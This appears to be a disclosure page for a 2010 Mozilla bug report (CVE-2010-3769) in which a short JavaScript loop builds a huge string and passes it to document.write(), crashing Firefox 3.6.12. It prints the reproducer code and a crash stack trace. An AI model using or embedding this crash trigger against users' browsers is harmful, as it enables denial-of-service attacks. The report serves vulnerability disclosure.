CRITICAL BUG when calling document.write()
Originally disclosed on Mozilla
- Fixed in 25 days
- Paid in 2.7 years
- Disclosed after 25 days
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 (.NET CLR 3.5.30729)
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 (.NET CLR 3.5.30729)
crashing after executing the following code from my test website with firefox 3.6.12:
<script language="JavaScript">
var m = "6";
for (var i = 0; i < 26; i++) {
m = m + m;
}
document.write(m);
</script>
Reproducible: Always
Steps to Reproduce:
1. create a file called crash.htm with the following content
<script language="JavaScript">
var m = "6";
for (var i = 0; i < 26; i++) {
m = m + m;
}
document.write(m);
</script>
2. doppelclick the file
Actual Results:
0034a874 7684fdff 04000000 00000005 03d6e948 USP10!DoubleWideCharMappedString::DoubleWideCharMappedString+0x33
0034a954 76850f69 04000000 00000005 00000000 USP10!ScriptTokenize+0x4f
0034a990 76846248 0034af78 04000000 0034aa54 USP10!ScriptItemizeCommon+0x59
0034a9b4 555dc1a2 0034af78 04000000 00000005 USP10!ScriptItemize+0x38
WARNING: Stack unwind information not available. Following frames may be wrong.
0034aa6c 58348741 583e7ff8 00000000 0034ab28 xul!gfxTextRun::CopyGlyphDataFrom+0x5902
00000000 00000000 00000000 00000000 00000000 MOZCRT19!expand+0xa41
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A security bug in Graphics. Mozilla made it public on 23 November 2010 as CVE-2010-3769.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.